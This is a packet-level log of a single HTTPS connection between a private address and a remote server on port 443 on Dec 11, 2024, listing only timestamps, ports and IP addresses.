Dec 11, 2024 12:15:50.680778027 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.680778027 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.680789948 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.680969000 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.681399107 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.681541920 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.681541920 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.681771994 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.681777954 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.683363914 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.683388948 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.683806896 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.683806896 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.683806896 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.683806896 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.683820963 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.683990955 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.684185028 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.685220957 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.685245991 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.685384035 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.685384035 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.685394049 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.685575008 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.685575008 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.685575008 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.685575008 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.687570095 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.687592030 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.687736034 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.687736988 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.687916994 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.687916994 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.687925100 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.689538002 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.689568043 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.689702034 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.689702034 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.689709902 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.689865112 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.689865112 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.691488028 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.691514015 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.691651106 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.691832066 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.691832066 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.691832066 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.691840887 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.693392038 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.693422079 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.693556070 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.693562984 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.693753004 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.693753004 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.693753004 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.693753004 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.694175005 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.694336891 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.694912910 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.695071936 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.695071936 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.695235014 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.696764946 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.696789980 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.696928024 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.697107077 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.697107077 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.697107077 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.697107077 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.697107077 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.697120905 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.698673010 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.698702097 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.699212074 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.699212074 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.699212074 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.699213028 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.699213028 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.699213028 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.699225903 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.700618982 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.700644970 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.700786114 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.700793982 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.700982094 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.700982094 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.700982094 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.700982094 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.700982094 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.703047991 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.703077078 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.703195095 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.703279972 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.703279972 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.703293085 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.703460932 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.704922915 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.704952955 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.705086946 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.705086946 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.705095053 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.705276012 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.705276012 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.705276012 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.705276012 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.707092047 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.707127094 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.707261086 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.707442999 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.707443953 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.707443953 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.707443953 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.707443953 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.707463980 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.709712982 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.709753990 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.709880114 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.709880114 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.709891081 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.710077047 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.710077047 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.710077047 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.710077047 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.710746050 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.710859060 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.710901022 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.711129904 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.711129904 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.711138964 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.711369991 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.925301075 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.925314903 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.925384998 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.925470114 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.925470114 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.925651073 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.925651073 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.925664902 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.925831079 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.925831079 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.927225113 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.927256107 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.927567959 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.927567959 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.927948952 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.927948952 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.927963018 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.928272963 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.929044008 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.929083109 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.929646015 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.929646015 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.929646015 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.929661989 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.930005074 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.931091070 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.931127071 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.931260109 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.931260109 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.931438923 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.931438923 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.931453943 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.931628942 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.933003902 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.933044910 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.933192015 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.933373928 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.933383942 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.933564901 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.935436964 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.935477972 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.935606003 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.935789108 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.935789108 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.935790062 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.935790062 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.935811996 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.935978889 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.937216997 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.937294006 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.937386036 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.937545061 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.937546015 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.937556982 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.938071966 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.939230919 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.939291954 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.939389944 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.939389944 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.939570904 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.939583063 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.939759016 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.939759970 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.939944029 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.941204071 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.941258907 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.941567898 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.941567898 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.941567898 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.941567898 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.941593885 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.941797018 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.943012953 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.943072081 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.943176031 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.943176031 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.943358898 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.943358898 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.943373919 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.943551064 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.944061041 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.944264889 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.944283009 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.945980072 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.945995092 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.946125031 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.946135044 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.946173906 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.946173906 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.946223021 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.946419001 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.948070049 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.948080063 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.948270082 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.948275089 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.948456049 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.948456049 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.950112104 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.950124979 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.950768948 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.950768948 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.950768948 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.950768948 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.950768948 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.950777054 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.951989889 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.951998949 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.952155113 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.952155113 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.952161074 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.952204943 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.952204943 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.952367067 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.952415943 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.953826904 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.953888893 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.953988075 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.953988075 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.954166889 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.954169989 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.954355955 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.954355955 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.955388069 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.955398083 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.955539942 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.955539942 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.955719948 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.955719948 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.955719948 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.955724001 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.956281900 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.957452059 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.957461119 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.958489895 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.958489895 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.958496094 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.959108114 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.960026979 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.960036993 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.960463047 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.960463047 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.960463047 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.960463047 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.960469007 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.960659027 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.961962938 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.961971998 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.962119102 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.962119102 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.962301970 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.962301970 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.962307930 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.962493896 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.962493896 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.963896036 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.963905096 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.964186907 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.964380980 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.964380980 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.964454889 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.964454889 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.964454889 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.964454889 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:50.964459896 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:50.964636087 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.174948931 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.174964905 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.175035954 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.175122023 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.175122023 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.175311089 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.175322056 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.175389051 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.175581932 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.177122116 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.177154064 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.177287102 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.177287102 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.177470922 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.177470922 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.177470922 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.177484035 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.177660942 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.179110050 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.179158926 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.179306030 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.179393053 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.179393053 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.179405928 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.179573059 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.181077957 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.181107998 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.181627035 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.181627035 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.181627035 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.181627035 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.181648016 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.181819916 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.181997061 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.182981968 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.183016062 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.183150053 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.183336020 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.183336020 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.183336020 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.183336020 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.183358908 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.183525085 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.185015917 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.185048103 CET	443	49782	172.67.128.139	192.168.11.20
